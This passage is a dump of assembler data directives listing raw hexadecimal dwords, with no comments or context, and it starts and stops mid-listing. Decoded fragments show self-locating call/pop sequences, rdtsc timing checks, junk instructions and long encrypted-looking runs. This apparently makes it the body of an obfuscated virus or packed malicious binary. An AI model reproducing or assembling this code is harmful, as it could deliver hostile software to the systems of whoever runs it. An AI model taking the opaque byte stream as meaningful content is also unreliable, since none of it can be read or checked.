0D0FF064Dh, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 64D26E5h dd 6D396856h, 0B5FFD41Fh, 64D0B29h, 75D7858Dh, 0D0FF0650h dd 800068h, 52006A00h, 0C08BD0FFh, 1BD9BD83h, 7500064Dh dd 11BD8309h, 64D00h, 53501974h, 21B8C08Bh, 89000004h dd 4D31A585h, 7C9D8D06h, 0FF064FB7h, 83585BD3h, 4D0011BDh dd 17740006h, 21B85350h, 89000004h, 4D31A585h, 1D9D8D06h dd 0FF064FB4h, 8B585BD3h, 0D99D8DC0h, 8B064D22h, 0FC00B03h dd 784h, 8B038B00h, 1889045Bh, 4B41B8h, 2AE900h, 4C70000h dd 24h, 0E800h, 815D0000h, 53D310EDh, 24448B06h, 0A1858904h dd 0B8064D2Eh, 0 dd 4DE58D8Dh, 0E1FF064Dh, 6754B8h, 3BE900h, 8B600000h dd 4D27D9BDh, 4EF8306h, 0C18BC933h, 0B88320BBh, 4C783EDh dd 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h dd 100F9h, 0D3820F00h, 61FFFFFFh, 55C88BC3h, 5E75FDEDh dd 0A476F67Ah, 0BC56E669h, 0DF8FD49h, 235EFD20h, 379FFD20h dd 0BDFDFD20h, 78EFFD20h, 9AC5FD20h, 0EBA2FD20h, 5383FD20h dd 0E7EFD20h, 20A5FD20h, 3472FD20h, 0BFD7FD20h, 7930FD20h dd 9B11FD20h, 0EAF2FD20h, 51BEFD20h, 0D02FD20h, 259DFD20h dd 2295358Ah, 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah dd 9775F572h, 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh dd 0BC75FC7Bh, 5E75FD7Ah, 5276FD7Ah, 3A75A72Ch, 0CB75A72Ch dd 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 0D3F0701Ah dd 0A673AEADh, 0C4A639FFh, 68F0707Ch, 6C73AEADh, 0A1A679FFh dd 98F0707Ch, 3573AEADh, 0DA63DFFh, 6EF0707Ch, 1E73AEADh dd 98A675FFh, 0E5F0707Ch, 7B73AEADh, 2AA671FFh, 22F0707Ch dd 0D773AEAFh, 7CA66DFFh, 27F0707Ch, 4273AEAFh, 0B6A669FFh dd 34F0707Ch, 0F073AEAFh, 0EFA665FFh, 7FF0707Ch, 0A673AEACh dd 0C4A659FFh, 26F0707Ch, 6C73AEAFh, 0A1A661FFh, 75F0707Ch dd 3573AEACh, 0DA65DFFh, 0EF0707Ch, 1E73AEACh, 98A659FFh dd 0BEF0707Ch, 7B73AEACh, 2AA649FFh, 0C6F0707Ch, 0D773AEACh dd 7CA645FFh, 0AF0707Ch, 4273AEACh, 0B6A641FFh, 14F0707Ch dd 0F073AEACh, 0EFA655FFh, 43F0707Ch, 0A673AEADh, 0C4A651FFh dd 73F0707Ch, 6C73AEADh, 0A1A64DFFh, 0B8F0767Ch, 3573B074h dd 0DA600FFh, 36F0767Ch, 1E73B053h, 98A1FCFFh, 0B0B69C7Ch dd 0F29D11F1h, 2375FD7Ah, 696417FBh, 0D525FB29h, 0ADFDF53Fh dd 91262E86h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah dd 8E987C27h, 0A073AEAFh, 7CA67EFFh, 14C87D7Ch, 0CF73AEA9h dd 0E4C5B409h, 0F9B54B75h, 863589BAh, 0EFA1FCEFh, 96FEBD7Ch dd 2F7A452Bh, 28AFD7Ah, 0CD26297Bh, 36F148F7h, 0C6F8FB29h dd 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 9126297Bh dd 18F148F7h, 0D1F8FB29h, 228A50FCh, 87BC1F23h, 0EFA67EF7h dd 52DA07Ch, 0EC2CA320h, 97776D92h, 0C1CD4D7Ah, 708A5779h dd 0F4262E87h, 79D3ED1h, 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h dd 0C4A600EFh, 8DE9B7Ch, 0E5779592h, 0F3360B7Ah, 866E8872h dd 0EFA600EFh, 54C54D7Ch, 0BA8AAD79h, 91262E87h, 2BF69B20h dd 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h, 652FFD7Ah dd 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh, 9D3ED1h dd 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh, 7FA916D0h dd 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h dd 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh dd 21886885h, 1F2FFB29h, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h dd 9774BD92h, 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah dd 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch dd 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh dd 9FB657E7h, 699D57E6h, 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch dd 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h dd 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 2AA1FCEFh, 74C0707Ch dd 5D73AEA9h, 2C7F518Ah, 6AE002D0h, 873AEA9h, 0E574E592h dd 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h, 2C7FA5CAh dd 0C7C53ED0h, 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh dd 438A036Bh, 0EEDFA7CAh, 9FB65722h, 3C225792h, 0CB750C92h dd 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h dd 252D4D7Ah, 69B65779h, 98A687FFh, 9FC87D7Ch, 0F373AEA9h dd 0FCF8EC0Fh, 0BA262E96h, 5C61152Ah, 1B9DFD7Ah, 2775FD78h dd 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 0EFA687F7h dd 24C87D7Ch, 2F73AEA9h, 12F8F10Fh, 0CD262E96h, 0E4DE152Ah dd 4AB6FD7Ah, 7975FD7Eh, 68746885h, 0C3F8FB29h, 29262533h dd 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h dd 357115F9h, 0CB8A3E78h, 29262E87h, 96514ACEh, 74C1FF0Eh dd 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h dd 25B5F179h, 68B65778h, 98A600EFh, 0EA917D7Ch, 42F539FAh dd 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h dd 0CB7345B9h, 708AFD7Ah, 0F426297Bh, 0AA9560F7h, 0A0F8FB29h dd 4ECD3E39h, 0D075FD7Ah, 0C4A1FCEFh, 0CEB57E7Ch, 1A8935F1h dd 0A1A600EFh, 8E97577Ch, 43BE15B9h, 1DFF0285h, 5A72D97Bh dd 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h dd 0BC9D9D86h, 475FD7Ah, 0F72C17FBh, 0EAFCFB29h, 37CF7D86h dd 0E573AEA9h, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 0DA1FCE8h dd 0ADFCBD7Ch, 9126297Fh, 79F835F1h, 0E3262457h, 21886F85h dd 7FFDFB29h, 4801F3Ch, 5E75FD6Dh, 0FB707F79h, 1A35FB29h dd 98ACDCE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 68707779h dd 0ECF8FB29h, 29262475h, 2F2B5989h, 0CB75FD72h, 31746F85h dd 0AF6FB29h, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh dd 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h dd 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh dd 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h dd 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah dd 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah dd 98ACBD90h, 0ECCF707Ch, 7973AEAEh, 71CCF50Fh, 4F75FD7Ah dd 9CBC9CDEh, 0A226FD7Eh, 0C4A1F4E7h, 0D3497D7Ch, 0BE71887Bh dd 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 0F60C17FBh dd 25F8FB29h, 0CD262973h, 5C7D80F1h, 0F275FD72h, 0B0145989h dd 0DC75F9B8h, 8A7C40F7h, 0EF46FB29h, 9775F5C3h, 0AADF0E7Ah dd 58F89DB9h, 0F4262973h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh dd 5A74FC7Bh, 969E0479h, 0ABB69C82h, 317C40F7h, 0F3CDFB29h dd 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 436378F7h dd 0D08AFB29h, 16EBCA8Bh, 5 dup(0) dd 3700101h, 6530000h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0A3C35646h, 0C2D7DB87h, 18A0Fh, 33F90000h dd 4D23D595h, 0BF669006h, 51509842h, 7E957h, 0CA820000h dd 0D1E6E05Eh, 905B5FD1h, 89006AFCh, 4D2DE58Dh, 6A006A06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8A61C350h, 4C858DDCh, 6A0653DBh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0C32FC355h, 0E5973316h, 0B9666617h, 0BA906A29h, 595E5DEFh dd 0AE850h, 96A90000h, 5886D2DFh, 0A1DF3B7Ah, 905ACB8Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E2C35040h dd 6477F0C6h, 6A3A9579h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 0F9AB04FEh, 95FF006Ah dd 64D1149h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0BCC35747h, 0BE91EF8h, 6A000006h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 92CDC352h dd 0BA662975h, 0E85DD3h, 5D000000h, 0DB51ED81h, 6A0653h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 5C9614C3h, 82A628FDh, 858D2966h, 8A064D2Bh, 50006ADAh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 9BED5E81h, 8BFF261Dh, 4E8FAh, 0FA00000h, 0D08B0000h dd 97BE6050h, 0E875E37Ah, 7, 0F1A05727h, 50BCC7DFh, 5A310F52h dd 8B615A58h, 8B042444h, 0D3BB6600h, 244489E9h, 0E2815804h dd 0F270617h, 51195FFh, 0E5B7064Dh, 0D9EAB58Dh, 0EBBF0653h dd 0C7329901h, 67655206h, 52006A6Dh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 99CB126h, 0C3B91549h dd 297570AAh, 4D2701BDh, 446C706h, 6C636E6Fh, 610846C7h dd 66007373h, 6AD78Bh, 9E850h, 0BC90000h, 35E21251h, 0E8195690h dd 0Ch, 0A6C600A4h, 8E0B9040h, 25C7CE24h, 8D5F5B5Bh, 53D9EA85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0BC75B7AFh, 60ADBB61h, 391BD89h, 860F064Dh dd 5, 88C68166h, 0B70F61E4h, 0E98166D6h, 6090DA43h, 61585360h dd 310F5250h, 5AF38B66h, 60506158h, 9061DF8Bh, 397B0DBAh dd 0B595FF55h, 6A064D0Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 5B38C356h, 5A0EB91h dd 0B5BD89A4h, 0B064D2Fh, 0A840FC0h, 8B000000h, 3A9E9F9h dd 8B660000h, 50D068D7h, 34810C65h, 6551FC24h, 0BBF660Ch dd 1195FFAFh, 6A064D05h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0F7FEC351h, 0B58D7563h dd 653D9EAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 6EC35747h, 0B64BC119h, 291CE195h, 4D30A195h, 12E806h dd 70F20000h, 0BD8C3BD1h, 0E51A27FFh, 7112863Ch, 112B5DCFh dd 2BA5958Bh, 0C75F064Dh, 34383106h, 52006A36h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 687961CAh dd 8C50A3BDh, 0AD9BD89h, 46C7064Dh, 342D3704h, 0FE831h dd 772C0000h, 0A6AD1300h, 3E9F81BDh, 0B85C23F7h, 5ACA8BA7h dd 846C7h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0C7D4C350h, 21E18D2Bh, 6A064Dh dd 0E8481ABFh, 0C5B5892Ch, 8D064D0Eh, 53D9EA85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 7B8AAEC5h, 8B7962D7h, 4D2A1DBDh, 0C9958B06h, 90064D2Bh dd 52505250h, 12E8h, 4E5A8900h, 0A5230E2Eh, 56C3EF83h dd 2FE09D9Ah, 5AB1EBD0h, 0F08A310Fh, 310F585Ah, 12820Fh dd 0CE80000h, 6D000000h, 0D87FDF59h, 0D14A5DFCh, 5A77FF8Dh dd 9050585Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 49C35343h, 8B505F57h, 4D23BDBDh, 98BF5906h, 0FF4587D2h dd 4D0BB595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 73B43AC8h, 0BA66A32Ah, 0C00B2458h dd 28840Fh, 84B70000h, 1C6E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0D0B3B3E4h dd 826803B5h, 52048028h, 815FCE8Bh, 29AE2434h, 95FF0480h dd 64D0511h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 8DC35141h, 0CD65CCAAh, 2BB98D8Bh, 0B58D064Dh, 653D9EAh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 5FC35343h dd 6F1B2D58h, 694606C7h, 0A5B3656Ch, 6D0446C7h, 6A636E6Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 5119C357h, 2B31B589h, 0C759064Dh, 616C0846h dd 6A7373h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0C9AF78C3h, 0E939761Ch, 14h, 7A5886D2h, 0DDA1DF3Bh dd 99D892AEh, 7F51EE75h, 0E1F2645Ah, 0C46C7h, 89000000h dd 4D20599Dh, 6A006A06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0A62AC351h, 546308BCh dd 0EA858D1Fh, 810653D9h, 40FE12D9h, 8B665074h, 240489CFh dd 0C2D9D8Bh, 95FF064Dh, 64D0BB5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 3C35646h, 12E88D07h, 0B8000000h dd 83851EEEh, 0CB97690Fh, 0CE9A618Dh, 0F7CE145Dh, 0A4F18033h dd 0FC00B5Fh, 2D84h, 188A0F00h, 60000000h, 0BE9h, 64595000h dd 0DC495EBh, 2D5C6603h, 5A5850Bh, 0E961064Dh, 1Bh, 5E9h dd 43C04D00h, 0B7E96F00h, 89FFFFFAh, 4D2DFDBDh, 758D8B06h dd 8D064D30h, 4D740EB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 0FFE7059h, 1885h, 0CE800h dd 77DB0000h, 16C32F69h, 17E59733h, 95897866h, 64D1435h dd 0B85Bh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0E413E9C3h, 0ED4EEBC7h, 60E6FF4Bh dd 68B0Fh, 858B0000h, 64D2F41h, 14E9h, 0D8FB000h, 58F1A3ACh dd 737E5B7Fh, 0B5D6F54h, 912AC925h, 0C18B61C4h, 0E1D48D8Dh dd 8E0F0653h, 6, 10F19D33h, 8D89064Dh, 64D0599h, 1D85C7F5h dd 5C064D05h, 8B00005Ch, 4D280DBDh, 0E985C706h, 64D02h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 8DC9C350h, 0B8888EE7h, 11D234B9h dd 25F9B5FFh, 6A064Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 1D7B48C3h, 0ECBACA46h, 97E4B89h dd 4D0FC98Dh, 81BD3106h, 8B064D24h, 5595FFF1h, 6A064D2Eh dd 1195FF00h, 8B064D05h, 502CEBC0h, 95FBFA2Bh, 52C38BD4h dd 2D03C2F4h, 0B14E6724h, 0DC22B134h, 0CAF6717Bh, 49E1D84Ah dd 0FFB29ABDh, 0EEA76CC2h dd 9E33EF33h, 0E8AE6E06h, 6, 1CD9E698h, 0BF0F6766h, 858959F0h dd 64D0B0Dh, 61F0C181h, 4B680000h, 8B000018h, 4D3251B5h dd 0FFF95806h, 6860F31h, 8B000000h, 4D2B3DB5h, 0C3815B06h dd 512C972Ah, 600C81BEh, 6EB8119h, 0E80EC971h, 14h, 0E78DC94Eh dd 0D024888Eh, 2C792D36h, 9C6B8B1Ch, 4477D0CBh, 32C3815Eh dd 0E808FAB9h, 12h, 4E731876h, 4268E8E5h, 42106AA1h, 1FC5E3B9h dd 45BA8A85h, 5E06A527h, 0E9811989h, 65B1AE4Eh, 28B0Fh dd 9B60000h, 0AE4AC181h, 816665B1h, 81B48ECEh, 1E8h, 0F850F00h dd 0E9000000h, 1Ch, 4899957Eh, 43643151h, 0D08B23C4h, 0FFFF66E9h dd 81CF65FFh, 0C45860B9h, 9CD966A6h, 70A2CAFEh, 0F901A80Bh dd 71E98A4Fh, 0D5ABA80Bh, 764175EAh, 0FE0FA80Bh, 5DBA8A4Fh dd 0FEE457AEh, 76B18A4Fh, 0D5ABA80Bh, 777875EAh, 0FF2AA80Bh dd 77FA8A4Fh, 0FC54A80Bh, 747C8A4Fh, 0D5ABA80Bh, 2F2575EAh dd 79B755D4h, 76C00313h, 0A752FBB3h, 0F1A1E190h, 0F2D12157h dd 2F43D9F7h, 79B06AD4h, 7EC00313h, 0A752FBB3h, 0F1A09090h dd 0CED12157h, 2F43D9F7h, 79B1D9D4h, 4AC00313h, 0A752FBB3h dd 0F1A04C90h, 0DAD12157h, 2F43D9F7h, 79B2A2D4h, 56C00313h dd 0A752FBB3h, 0F1A3D990h, 0D6D12157h, 2F43D9F7h, 79B23CD4h dd 0A2C00313h, 0A752FBB2h, 0F1A35F90h, 2ED12157h, 2F43D9F6h dd 79B3BED4h, 0AAC00313h, 0A752FBB2h, 0F1A2C590h, 26D12157h dd 0C343D9F6h, 2A5012B8h, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh dd 0C0D5F251h, 0A41669A2h, 2AA8ED96h, 29458A15h, 0E367A024h dd 0ADBAB496h, 2A54A1D5h, 64C6CB15h, 0D5BA4155h, 63CE75EAh dd 34D3AAEh, 42848C58h, 2211AB53h, 5D55FFEAh, 3AABA424h dd 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h, 0EED744DAh, 0D7CEEAE9h dd 26292359h, 0A2B9CFD2h, 6C54A851h, 0A24162ADh, 0EA660351h dd 2FEE27BFh, 79818FDBh, 12947513h, 0A0D90201h, 0A4165F32h dd 0A1EC79AEh, 941AE51h, 0FF7322DCh, 73BA8C46h, 2ADF1037h dd 28C82173h, 2C077D76h, 2BFD5BEAh, 81508C15h, 77620098h dd 0FBABAE02h, 89EFD2A5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A4166E62h dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 30BACC15h, 2C19A690h dd 69CE529Eh, 0B99783FCh, 31EFE2A5h, 0A0D9F9FAh, 0A4165F32h dd 9A0D79AEh, 1A232094h, 81328C55h, 0DF6E2184h, 0D629215Dh dd 5E000174h, 2A5C6A98h, 21A90140h, 0C2345495h, 0A2458A15h dd 0E4BE290Bh, 2943D9F1h, 57DFA024h, 5E004D19h, 2A54A851h dd 63D77553h, 0A152E55Fh, 69CE19CDh, 0B9979BFCh, 31EFE2A5h dd 0A0D9F9FAh, 0A4165F32h, 9A0D79AEh, 1A232094h, 81328C65h dd 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h dd 0A1345495h, 0DFCE8260h, 0D6116F5Dh, 0A2458A15h, 0C9953BFDh dd 9197B91Dh, 0F2DE0491h, 0A2454A38h, 0D5A82851h, 0A25E0E1Ah dd 23EDA851h, 55458A15h, 25862DA0h, 0A2458690h, 32A32851h dd 0AA8E4B73h, 4C972337h, 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh dd 7F54A093h, 66C6669Eh, 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h dd 0E458A15h, 22B769C2h, 62765826h, 78C22FDh, 0A2458AD5h dd 25AB54D1h, 0A2459391h, 2A5D1151h, 53B28A15h, 0AF5B7AD4h dd 0A2458A1Fh, 0E25610E0h, 91EF4B93h, 577F0391h, 5E380319h dd 0D6112330h, 0A24D48DCh, 0A9B82304h, 292576D1h, 57DFA024h dd 5E004D19h, 2A54A851h, 229D00B9h, 0E1D4A7B2h, 8860085h dd 0FF7322DCh, 73BA8C46h, 0A7FEF8E1h, 0F190AD9Fh, 0A0855757h dd 0DF6E20D6h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h dd 0A1345495h, 0DFCE8260h, 0D6116F5Dh, 0A2458A15h, 2A54AFE9h dd 0BBD77515h, 2652E578h, 28C82045h, 2C077D76h, 2BF55BEAh dd 86949BFBh, 622E8531h, 8050AC59h, 89EFAEA5h, 57DDA42Ch dd 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h, 294DFF9Eh dd 6F93A42Ch, 0A2458AE9h, 0D5FE0451h, 0EF4B4B87h, 868C2357h dd 2FEF4917h, 79818FDBh, 0C4947513h, 4CBD28E9h, 88600BEh dd 0A358D57Ah, 29247668h, 0E89D5414h, 29108A1Dh, 0D6902BBDh dd 0AA300175h, 0ED58D5DAh, 0A2457650h, 80F8A851h, 0AC8418EAh dd 0E2DFAE1Ch, 88558B9h, 0FF7332DCh, 71BA8C46h, 0E3941037h dd 63CF2173h, 262983FBh, 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h dd 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h, 8654A851h dd 63D775BFh, 0A152E55Fh, 637726DDh, 0DCE25FBh, 5D43D9C0h dd 0AAECCE82h, 28EEECE4h, 577F0290h, 5E380319h, 0D6112330h dd 0A24D48DCh, 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h dd 2A54A851h, 6B773273h, 0B0D90337h, 0A4165F32h, 92327BAEh dd 9234B95h, 1FE04FDh, 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h dd 0C6DFFD51h, 0C2B94E96h, 0A15CDDDAh, 0E7828668h, 2A54A8ADh dd 24FDEC15h, 0A7FFCEB8h, 0F190AD8Fh, 9A875757h, 0E0320A0h dd 0DCE25FBh, 5D43D9C0h, 0ACECCE82h, 89EEECD8h, 57DDA42Ch dd 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh dd 0C0D5F251h, 0A4166D8Ah, 2AA8ED96h, 29458A15h, 57DFA024h dd 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh, 0CA798A15h dd 2A492C5Eh, 13798A15h, 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh dd 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h, 0D7BA8660h dd 0FECE2559h, 0F143D9F7h, 0C9FF32DCh, 71BA8C46h, 0C3A8EDD8h dd 0A2458A42h, 0D558DDAEh, 38C88260h, 2C074AB5h, 9DF0746h dd 0D552FBB2h, 5E0003C6h, 2A5492B8h, 0AE307515h, 0A75CDDAEh dd 0F1A77A8Fh, 0B0D9FB57h, 0A41669BEh, 6FDD7BAEh, 0A25863E9h dd 5FABA851h, 0AA307519h, 0C8A832DCh, 2F168C46h, 79B703CBh dd 2B967513h, 2ABD5414h, 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h dd 3044h, 0D419D8Dh, 34B8064Dh, 89000014h, 4D151985h, 0E806h dd 5580000h, 0Dh, 34E90389h, 14h, 50Ch dup(0) dd 0E8000000h, 0Fh, 31C79AA0h, 4B8C6902h, 26539C93h, 66E97245h dd 815ACE8Bh, 5F59EDD8h, 64C28154h, 0F8000071h, 68h, 5E900h dd 0EB170000h, 5BAF51FEh, 1C890Fh, 850F0000h, 16h, 10E8h dd 82A1EA00h, 0C1EA3B47h, 7D32C36h, 9046D35Dh, 348B5911h dd 34EE811Ah, 0E8402CD6h, 12h, 0F97C550Bh, 132E4DEEh, 52D54EA3h dd 9B2DD886h, 0CF8B9F5Dh, 8BC6815Fh, 515AD2DEh, 59FFB70Fh dd 9963C681h, 0BF0F49DCh, 0E88156FAh, 17A74635h, 0F1A048Fh dd 198Fh, 14E900h, 54750000h, 0FEDB1059h, 0CF0EC2C1h, 0F1153110h dd 75D933Ah, 8A0FF577h, 6, 8B16E881h, 0EB834700h, 0BE904h dd 0A4F0000h, 7B884B33h, 0A8D13F5Dh, 78FB813Ch, 0FFFFF8Fh dd 0FFFF7585h, 0C8B70FFFh, 0FE8B8D8Dh, 85890653h, 64D0BD1h dd 5998D89h, 85C7064Dh, 64D051Dh, 5F0Ch, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 5BC35545h, 0BAB11C52h dd 92FFE81h, 4D2401BDh, 0E985C706h, 64D02h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 3BB1C353h, 78AAB1ACh, 0B470EF9Ah, 0FE9h dd 0DBA78F00h, 6A50D1B7h, 0A77C7BB9h, 8353277Eh, 1FE5B5FFh dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 9E0F02C3h, 20CBC0Ah, 0F38166F6h, 95FF9AF7h dd 64D2E55h, 38CD8060h, 0B599D89h, 5661064Dh, 10E9h, 0F3E7F800h dd 0AED9F8DDh, 0BD9F56h, 0F8C2D319h, 6A5A34h, 51195FFh dd 0C08B064Dh, 491E2FEBh, 0CEA5746Ch, 5B010336h, 0F340BF68h dd 0ED4A2144h, 0D5CFF9CFh, 9B78E1D9h, 0E81CDB3Eh, 0AF9AB839h dd 0F92AE11Bh, 9133D8DCh, 789D6293h, 0B7E927h, 73390000h dd 16E1C1CDh, 0BA846470h, 5B280814h, 0C9A9B5h, 0A44C4E5Ah dd 78842AF3h, 1F2BD198h, 0C1CD733Fh, 677319E1h, 0ACD403D0h dd 85D4FB22h, 0A8753A7Ah, 945FBD02h, 61B021EEh, 1AE13F8Ch dd 236A774h, 129513Ah, 9FBA094Fh, 4A56FCC9h, 4EE1DC99h dd 5A2BE9DBh, 0DE3CDB32h, 2D9E6B11h, 6AC7B9E8h, 16ADB0Ch dd 0A02983B2h, 106EDACAh, 43E9B144h, 4D9C0DDAh, 8911241Eh dd 3C2DAh, 54780000h, 9AF758Ch, 7016DE3Ch, 0D37945A3h dd 3BE1A806h, 0A147106Eh, 7AD76D4h, 690FDC3Ah, 0CE743E9Ch dd 32D8A301h, 0C468E865h, 0E90653FEh, 0FFF9804Dh, 2E3BCBE5h dd 0FF6CB831h, 0C5030653h, 12E8h, 9A23B500h, 37A17998h dd 3A43B276h, 2E21409Dh, 0F3E517Fh, 8958F1BFh, 4D17C195h dd 0CCC08106h, 0E800005Fh, 0Bh, 6055D774h, 0C68A9BA4h dd 0BA2133E8h, 3168A92Dh, 66FF2B5Bh, 0C8BF78Bh, 0FD858938h dd 81064D1Fh, 0A0822CF1h, 899D290Ch, 81064D14h, 0C3EFD2F1h dd 9E923h, 6F550000h, 53575014h, 81AB9B73h, 43EA85E9h dd 8C0F5056h, 6, 3C99D8Bh, 515E064Dh, 0BE9h, 0DCD8400h dd 3974D0F2h, 11F616ECh, 8038048Fh, 850FF5DAh, 7, 18E0Fh dd 81FC0000h, 0BAE3E3EFh, 37DB805Ch, 0E3DFC781h, 85895CBAh dd 64D1065h, 0A0F4FF81h, 850FFFFFh, 0FFFFFF7Eh, 0EE68166h dd 0F204EB96h, 0E911AF75h, 0D93h, 54026268h, 7F63E906h dd 6468FFF9h, 0E9065403h, 0FFF97F59h, 54043868h, 7F4FE906h dd 0E968FFF9h, 0E9065404h, 0FFF97F45h, 54081368h, 7F3BE906h dd 4868FFF9h, 0E906540Bh, 0FFF97F31h, 540C7568h, 7F27E906h dd 4B11FFF9h, 0EEB999A5h, 925C3C48h, 3300E0ECh, 0D8A1818Dh dd 8C242632h, 505C02CBh, 0F703A970h, 99A54B17h, 3F4BF1B9h dd 0D4ACDBA8h, 5DD4FB20h, 662F8D52h, 0CE95F3C0h, 0A169BF28h dd 6EBD2EFBh, 6AC75A6h, 